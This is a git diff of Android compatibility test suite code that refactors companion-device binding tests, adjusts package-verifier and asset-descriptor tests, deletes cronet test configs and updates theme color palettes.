 import kotlin.test.assertContentEquals
 import kotlin.test.assertFailsWith
-import kotlin.test.assertFalse
-import kotlin.test.assertTrue
-import kotlin.time.Duration.Companion.milliseconds
-import kotlin.time.Duration.Companion.seconds
 
 /**
  * Tests CDM APIs for notifying the presence of status of the companion devices for self-managed
@@ -65,51 +60,23 @@
 
         cdm.notifyDeviceAppeared(associationId)
 
-        assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
-                "now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
-            }
-        }
-        assertFalse("CompanionDeviceServices that do not require " +
-                "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
-                "\"android.companion.CompanionDeviceService\" action should not be bound") {
-            MissingPermissionCompanionService.isBound ||
-                    MissingIntentFilterActionCompanionService.isBound
-        }
+        // Assert only the valid CompanionDeviceServices (primary + secondary) are bound
+        assertValidCompanionDeviceServicesBind()
+        assertInvalidCompanionDeviceServicesNotBound()
 
-        // Check that only the primary CompanionDeviceService has received the onDeviceAppeared()
-        // callback...
-        PrimaryCompanionService.waitAssociationToAppear(associationId)
-        assertContentEquals(
-                actual = PrimaryCompanionService.associationIdsForConnectedDevices,
-                expected = setOf(associationId)
-        )
-        // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
-        // have NOT. (Give it 1 more second.)
-        sleep(1000)
-        assertEmpty(SecondaryCompanionService.connectedDevices)
-        assertEmpty(MissingPermissionCompanionService.connectedDevices)
-        assertEmpty(MissingIntentFilterActionCompanionService.connectedDevices)
+        // Assert only the primary CompanionDeviceService is notified of device appearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
 
-        assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
-                "bound ") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
-            }
-        }
+        // Assert both valid CompanionDeviceServices stay bound
+        assertValidCompanionDeviceServicesRemainBound()
 
         cdm.notifyDeviceDisappeared(associationId)
 
-        // Check that only the primary services has received the onDeviceDisappeared() callback.
-        PrimaryCompanionService.waitAssociationToDisappear(associationId)
-        assertEmpty(PrimaryCompanionService.connectedDevices)
+        // Assert only the primary CompanionDeviceService is notified of device disappearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = false)
 
-        assertTrue("Both Services - Primary and Secondary - should be unbound now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
-            }
-        }
+        // Assert both services are unbound now
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     @Test
@@ -119,71 +86,47 @@
 
         cdm.notifyDeviceAppeared(idA)
 
-        assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
-                "now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
-            }
-        }
-        assertFalse("CompanionDeviceServices that do not require " +
-                "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
-                "\"android.companion.CompanionDeviceService\" action should not be bound") {
-            MissingPermissionCompanionService.isBound ||
-                    MissingIntentFilterActionCompanionService.isBound
-        }
+        // Assert only the valid CompanionDeviceServices (primary + secondary) are bound
+        assertValidCompanionDeviceServicesBind()
+        assertInvalidCompanionDeviceServicesNotBound()
 
-        // Check that only the primary services has received the onDeviceAppeared() callback...
-        PrimaryCompanionService.waitAssociationToAppear(idA)
+        // Assert only the primary CompanionDeviceService is notified of device A's appearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
         assertContentEquals(
-            actual = PrimaryCompanionService.associationIdsForConnectedDevices,
-            expected = setOf(idA)
+                actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+                expected = setOf(idA)
         )
-        // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
-        // have NOT. (Give it 1 more second.)
-        sleep(1000)
-        assertEmpty(SecondaryCompanionService.connectedDevices)
-        assertEmpty(MissingPermissionCompanionService.connectedDevices)
-        assertEmpty(MissingIntentFilterActionCompanionService.connectedDevices)
 
         cdm.notifyDeviceAppeared(idB)
 
-        // Check that only the primary services has received the onDeviceAppeared() callback.
-        PrimaryCompanionService.waitAssociationToAppear(idB)
+        // Assert only the primary CompanionDeviceService is notified of device B's appearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = true)
         assertContentEquals(
             actual = PrimaryCompanionService.associationIdsForConnectedDevices,
             expected = setOf(idA, idB)
         )
 
         // Make sure both valid services stay bound.
-        assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
-                "bound ") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
-            }
-        }
+        assertValidCompanionDeviceServicesRemainBound()
 
         // "Disconnect" first device (A).
         cdm.notifyDeviceDisappeared(idA)
 
-        PrimaryCompanionService.waitAssociationToDisappear(idA)
+        // Assert only the primary CompanionDeviceService is notified of device A's disappearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = false)
+
         // Both valid services should stay bound for as long as there is at least one connected
         // device - device B in this case.
-        assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
-                "bound ") {
-            waitFor(timeout = 3.seconds, interval = 1.milliseconds) {
-                !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
-            }
-        }
+        assertValidCompanionDeviceServicesRemainBound()
 
-        // "Disconnect" second device (B).
+        // "Disconnect" second (and last remaining) device (B).
         cdm.notifyDeviceDisappeared(idB)
 
-        PrimaryCompanionService.waitAssociationToDisappear(idB)
-        assertTrue("Both Services - Primary and Secondary - should be unbound now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
-            }
-        }
+        // Assert only the primary CompanionDeviceService is notified of device B's disappearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = false)
+
+        // Both valid services should unbind now.
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     @Test
@@ -220,21 +163,12 @@
         }
 
         // Make sure CDM binds both CompanionDeviceServices.
-        assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
-                "now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
-            }
-        }
+        assertValidCompanionDeviceServicesBind()
 
         // Notify CDM that devices has disconnected.
         cdm.notifyDeviceDisappeared(associationId)
 
         // Make sure CDM unbinds both CompanionDeviceServices.
-        assertTrue("Both Services - Primary and Secondary - should be unbound now") {
-            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
-                !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
-            }
-        }
+        assertValidCompanionDeviceServicesUnbind()
     }
 }
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 0a96437..ab5211e 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -39,6 +39,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
@@ -65,6 +66,7 @@
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.RemoteException;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 import android.util.PackageUtils;
 
@@ -1231,7 +1233,8 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
 
         getUiAutomation().adoptShellPermissionIdentity(
-                android.Manifest.permission.PACKAGE_VERIFICATION_AGENT);
+                android.Manifest.permission.PACKAGE_VERIFICATION_AGENT,
+                android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
 
         final CompletableFuture<Boolean> broadcastReceived = new CompletableFuture<>();
 
@@ -1248,7 +1251,10 @@
         IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(Intent.ACTION_PACKAGE_NEEDS_VERIFICATION);
         intentFilter.addDataType(PACKAGE_MIME_TYPE);
-        getContext().registerReceiver(broadcastReceiver, intentFilter, RECEIVER_EXPORTED);
+        // The broadcast is sent for user 0, so we need to request it for all users.
+        // TODO(b/232317379) Fix this in proper way
+        getContext().registerReceiverForAllUsers(broadcastReceiver, intentFilter, null, null,
+                RECEIVER_EXPORTED);
 
         // Enable verification.
         executeShellCommand("settings put global verifier_verify_adb_installs 1");
@@ -1282,6 +1288,10 @@
 
     @Test
     public void testPackageVerifierReject() throws Exception {
+        // PackageManager.verifyPendingInstall() call only works with user 0 as verifier is expected
+        // to be user 0. So skip the test if it is not user 0.
+        // TODO(b/232317379) Fix this in proper way
+        assumeTrue(getContext().getUserId() == UserHandle.USER_SYSTEM);
         AtomicInteger dataLoaderType = new AtomicInteger(-1);
 
         runPackageVerifierTest("Failure [INSTALL_FAILED_VERIFICATION_FAILURE: Install not allowed]",
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index bff425b..51286e0 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -991,7 +991,7 @@
         assertEquals(3, result.length);
         assertEquals("shared:android.uid.system", result[0]);
         assertEquals(null, result[1]);
-        assertEquals("com.android.cts.ctsshim", result[2]);
+        assertEquals("shared:com.android.cts.ctsshim", result[2]);
     }
 
     @Test
diff --git a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
index 14580eb..5baee12 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
@@ -114,6 +114,12 @@
         } catch (IOException e) {
             // expect
         }
+        try {
+            mInputStream = mAssetFileDes.createInputStream();
+            fail("Should throw IOException");
+        } catch (IOException e) {
+            // expect
+        }
         mAssetFileDes.close();
         mAssetFileDes = null;
 
@@ -134,6 +140,12 @@
         mInputStream.close();
         mInputStream = null;
         try {
+            mInputStream = mAssetFileDes.createInputStream();
+            fail("Should throw IOException");
+        } catch (IOException e) {
+            // expect
+        }
+        try {
             mOutputStream = mAssetFileDes.createOutputStream();
             fail("Should throw IOException");
         } catch (IOException e) {
diff --git a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
index 106ee4e..58af714 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
@@ -152,24 +152,6 @@
         assertEquals(FILE_DATA[2], mInput.read());
     }
 
-    public void testTwoFileDescriptorsWorkIndependently() throws IOException {
-        openInput(0, FILE_LENGTH);
-
-        AssetFileDescriptor fd2 = new AssetFileDescriptor(mFd.getParcelFileDescriptor(),
-                0,
-                FILE_LENGTH);
-        AssetFileDescriptor.AutoCloseInputStream input2 =
-                new AssetFileDescriptor.AutoCloseInputStream(fd2);
-
-        input2.skip(2);
-        input2.read();
-
-        for (int i = 0; i < FILE_LENGTH; i++) {
-            assertEquals(FILE_DATA[i], mInput.read());
-        }
-        assertEquals(FILE_END, mInput.read());
-    }
-
     private void openInput(long startOffset, long length)
             throws IOException {
         if (mFd != null) {
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
deleted file mode 100644
index b7ae844..0000000
--- a/tests/tests/cronet/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cronet.cts" >
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.chromium.net.cronet" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.cronet.cts"
-                     android:label="CTS tests of android.cronet">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
deleted file mode 100644
index 79c37f7..0000000
--- a/tests/tests/cronet/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Cronet test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsCronetTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.cronet.cts" />
-        <option name="runtime-hint" value="10s" />
-    </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
deleted file mode 100644
index 9b1555e..0000000
--- a/tests/tests/cronet/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 31808
-set noparent
-include platform/packages/modules/Connectivity:/tests/cts/OWNERS
diff --git a/tests/tests/cronet/TEST_MAPPING b/tests/tests/cronet/TEST_MAPPING
deleted file mode 100644
index b1f3088..0000000
--- a/tests/tests/cronet/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsCronetTestCases"
-    }
-  ]
-}
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
index fed0c91..8c836fa 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
@@ -21,6 +21,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.server.wm.ActivityManagerTestBase;
 import android.server.wm.DreamCoordinator;
 import android.view.Display;
@@ -31,6 +32,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -84,6 +86,9 @@
 
     @Test
     public void testDreamOverlayAppearance() throws InterruptedException {
+        Assume.assumeFalse(mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE));
+
         // Listen for the overlay to be shown
         final CountDownLatch countDownLatch = new CountDownLatch(1);
         mContext.registerReceiver(
diff --git a/tests/tests/graphics/res/xml/valid_themes.xml b/tests/tests/graphics/res/xml/valid_themes.xml
index 64437f9..ad8b953 100644
--- a/tests/tests/graphics/res/xml/valid_themes.xml
+++ b/tests/tests/graphics/res/xml/valid_themes.xml
@@ -19,48 +19,48 @@
     <theme color="ffb9567a">
         <spritz>ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000,ffffff,fffbfa,ffecf1,f2dee2,d5c2c6,b9a6aa,9e8c90,827276,6a5a5e,514347,392d30,23191b,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,f6efef,e8e1e1,cbc5c5,b0aaaa,958f90,7a7575,625d5e,4a4646,333030,1e1b1b,000000,ffffff,fffbfa,f6efef,e8e1e1,cbc5c5,b0aaaa,958f90,7a7575,625d5e,4a4646,333030,1e1b1b,000000</spritz>
         <tonal_spot>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e495ad,c57b93,a76078,8c4a60,703349,541d32,39071d,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,ffeddf,ffdcbf,efbc94,d1a27a,b48762,976d4a,7c5635,623f20,48290b,2f1500,000000,ffffff,fffbfa,faeeef,ebe0e1,cfc4c5,b3a8aa,988f90,7d7475,655c5e,4c4546,352f30,201a1c,000000,ffffff,fffbfa,ffecf1,f2dee2,d5c2c6,b9a6aa,9e8c90,827276,6a5a5e,514347,392d30,23191b,000000</tonal_spot>
-        <vibrant>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f889ae,d86f94,b85579,9b3e61,7d2649,600d33,3e001c,000000,ffffff,fffbfa,ffecf1,ffd9e4,efb7c7,d29dac,b58392,986977,7e525f,633b48,4a2531,31101d,000000,ffffff,fffbfa,ffecf1,ffd9e4,fcb2c8,de98ad,c07e92,a26378,874c60,6b3648,511f32,370b1d,000000,ffffff,fffbfa,ffecf1,f6dce2,d9c0c6,bca5ab,a18b91,857175,6c5a5e,534247,3c2c31,25181c,000000,ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000</vibrant>
-        <expressive>ffffff,fafcff,e4f2ff,c7e7ff,8bcefd,6eb3e0,5297c4,337da7,0b648e,004c6f,00344e,001e2f,000000,ffffff,fffbfa,ffecf1,ffd9e4,efb7c7,d29dac,b58392,986977,7e525f,633b48,4a2531,31101d,000000,ffffff,fffbfa,ffecf1,ffd9e4,fcb2c8,de98ad,c07e92,a26378,874c60,6b3648,511f32,370b1d,000000,ffffff,fffbfa,ffeded,f4ddde,d7c1c2,bba7a7,9f8c8d,837272,6b5b5b,534344,3b2d2d,241919,000000,ffffff,fffbfa,ffeced,fcdbdb,debfc0,c2a4a5,a68a8b,8a6f70,715859,574142,402b2c,281718,000000</expressive>
+        <vibrant>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f889ae,d86f94,b85579,9b3e61,7d2649,600d33,3e001c,000000,ffffff,fffbfa,ffeceb,ffdad9,f5b7b7,d79c9c,b98382,9c6869,815152,663a3b,4c2525,331012,000000,ffffff,fffbfa,ffede7,ffdacf,ffb49d,e49882,c57f6a,a66551,8b4e3c,6e3727,532213,380d03,000000,ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000,ffffff,fffbfa,ffecf1,fcdae2,dfbec6,c3a3ab,a78991,8a6f76,71575f,584047,402a31,29161c,000000</vibrant>
+        <expressive>ffffff,fafcff,e4f2ff,c7e7ff,8bcefd,6eb3e0,5297c4,337da7,0b648e,004c6f,00344e,001e2f,000000,ffffff,fffbfa,ffede4,ffdbc9,f4ba9e,d69f84,b9856c,9b6b53,80543d,653d28,4a2714,311303,000000,ffffff,fcffd6,ecf8ad,dee9a0,c1cd86,a6b16e,8c9656,717b3e,5a6328,424b12,2b3400,181e00,000000,ffffff,fffbfa,ffeded,f4ddde,d7c1c2,bba7a7,9f8c8d,837272,6b5b5b,534344,3b2d2d,241919,000000,ffffff,fffbfa,ffeced,fcdbdb,debfc0,c2a4a5,a68a8b,8a6f70,715859,574142,402b2c,281718,000000</expressive>
         <rainbow>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f48aae,d57294,b55779,984061,7b2849,5e1033,3e001c,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,ffeddf,ffdcbf,efbc94,d1a27a,b48762,976d4a,7c5635,623f20,48290b,2f1500,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,fffbfb,faecff,f1dbff,deb8ff,c499f1,a97ed4,8c64b7,734c9d,5b3383,431a6b,2b0053,000000,ffffff,fffbfb,faecff,f1dbff,dabaf9,be9edc,a384c0,866aa4,6e538b,553b71,3d2458,270d42,000000,ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e495ad,c57b93,a76078,8c4a60,703349,541d32,39071d,000000,ffffff,fffbfa,ffecf1,f6dce2,d9c0c6,bca5ab,a18b91,857175,6c5a5e,534247,3c2c31,25181c,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000</fruit_salad>
     </theme>
     <theme color="ffb16307">
         <spritz>ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000,ffffff,fffbfa,ffede0,f3dfd1,d5c3b6,baa89c,9e8e82,837368,6a5b51,51443b,3a2e26,231a12,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fffbfa,f7efec,e8e1de,ccc5c2,b0aaa7,958f8d,7a7572,625e5b,4a4643,33302d,1d1b19,000000,ffffff,fffbfa,f7efec,e8e1de,ccc5c2,b0aaa7,958f8d,7a7572,625e5b,4a4643,33302d,1d1b19,000000</spritz>
         <tonal_spot>ffffff,fffbfa,ffeddf,ffdcbf,ffb879,e19d61,c28349,a46932,88521c,6b3b05,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fdffd7,eef5be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,191e00,000000,ffffff,fffbfa,faeee8,ece0da,cfc4be,b3a9a3,988f89,7d746f,655d58,4c4641,362f2b,201a16,000000,ffffff,fffbfa,ffede0,f3dfd1,d5c3b6,baa89c,9e8e82,837368,6a5b51,51443b,3a2e26,231a12,000000</tonal_spot>
-        <vibrant>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,f1963f,d17c26,b06306,8f4e00,6d3900,4d2700,2f1500,000000,ffffff,fffbfa,ffecf0,ffd9e3,f0b8c6,d29dab,b68391,986976,7e525e,643b47,4a2531,31111c,000000,ffffff,fffbfa,ffecf0,ffd9e3,fcb2c7,de97ac,c17d91,a26377,874d5f,6c3547,512031,370b1c,000000,ffffff,fffbfa,ffeddf,f6decd,d9c2b2,bda798,a18d7e,857264,6c5b4e,534437,3c2d22,26190f,000000,ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000</vibrant>
-        <expressive>ffffff,fffbfd,f7edff,eadcff,d1bcff,b5a0e8,9a85cc,7e6baf,665395,4e3c7c,372464,220b4e,000000,ffffff,fffbfa,ffedea,ffdad7,f5b8b4,d79c99,ba8380,9c6966,81524f,663b39,4d2524,321110,000000,ffffff,fffbfa,ffedea,ffdad6,ffb3b0,e49794,c67d7a,a76461,8b4c4a,6f3634,542020,380c0c,000000,ffffff,fffbf9,feeedd,efe0cf,d3c4b5,b7a99a,9b8f80,807467,675d50,4f4539,382f24,221a10,000000,ffffff,fffbf9,ffeed9,f5dfc6,d8c4ab,bca891,a08e77,84745e,6b5c48,534432,3b2e1d,241a0a,000000</expressive>
+        <vibrant>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,f1963f,d17c26,b06306,8f4e00,6d3900,4d2700,2f1500,000000,ffffff,fffbf9,ffeedb,ffddb3,e9c08e,cba475,af8a5e,917045,785830,5d411b,442b07,2a1700,000000,ffffff,fffbf8,ffefd2,ffde9c,e7c277,caa75f,ad8c48,907230,775a1a,5c4301,412d00,261900,000000,ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000,ffffff,fffbfa,ffeddf,fddcc4,dfc1a9,c3a58f,a78b76,8a715d,715a47,584331,402c1c,281809,000000</vibrant>
+        <expressive>ffffff,fffbfd,f7edff,eadcff,d1bcff,b5a0e8,9a85cc,7e6baf,665395,4e3c7c,372464,220b4e,000000,ffffff,fffbf7,fbf2b7,ece4a9,d0c88f,b4ad77,99925e,7e7747,656031,4d481c,363107,1f1c00,000000,ffffff,f0fffa,b9ffec,abf0de,8fd4c2,74b8a7,599d8d,3d8173,22695b,005143,00382e,002019,000000,ffffff,fffbf9,feeedd,efe0cf,d3c4b5,b7a99a,9b8f80,807467,675d50,4f4539,382f24,221a10,000000,ffffff,fffbf9,ffeed9,f5dfc6,d8c4ab,bca891,a08e77,84745e,6b5c48,534432,3b2e1d,241a0a,000000</expressive>
         <rainbow>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,ee9744,cf7d2c,af6311,8f4d00,6d3900,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fdffd7,eef5be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,191e00,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,fffbfa,ffedef,ffdadf,ffb2be,f98b9c,d97082,b85769,9c4052,7d293b,5f1126,400012,000000,ffffff,fffbfa,ffedef,ffdadf,ffb2be,e894a0,c97a86,aa606c,8e4a55,72333e,561c28,3b0714,000000,ffffff,fffbfa,ffeddf,ffdcbf,ffb879,e19d61,c28349,a46932,88521c,6b3b05,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,f6decd,d9c2b2,bda798,a18d7e,857264,6c5b4e,534437,3c2d22,26190f,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000</fruit_salad>
     </theme>
     <theme color="ff6e7e0f">
         <spritz>ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000,ffffff,fefdec,f2f2e0,e4e4d3,c7c7b7,acac9d,919283,767769,5e6052,46483b,303126,1b1c12,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,fffbf7,f4f0ec,e5e2dd,c9c6c2,adaba7,92918d,777672,605e5b,474744,31302e,1c1b19,000000,ffffff,fffbf7,f4f0ec,e5e2dd,c9c6c2,adaba7,92918d,777672,605e5b,474744,31302e,1c1b19,000000</spritz>
         <tonal_spot>ffffff,fcffd5,ebf8a4,ddea96,c1cd7d,a5b264,8b974d,707c35,596320,414b08,2b3400,181e00,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,f0fffa,cbfbed,bdeddf,a1d0c3,87b4a8,6d9a8e,527e73,3b665c,224e45,05372f,002019,000000,ffffff,fffcf4,f3f1e8,e5e3da,c8c7bf,adaba4,929189,777670,5f5f58,474741,30312b,1c1c17,000000,ffffff,fefdec,f2f2e0,e4e4d3,c7c7b7,acac9d,919283,767769,5e6052,46483b,303126,1b1c12,000000</tonal_spot>
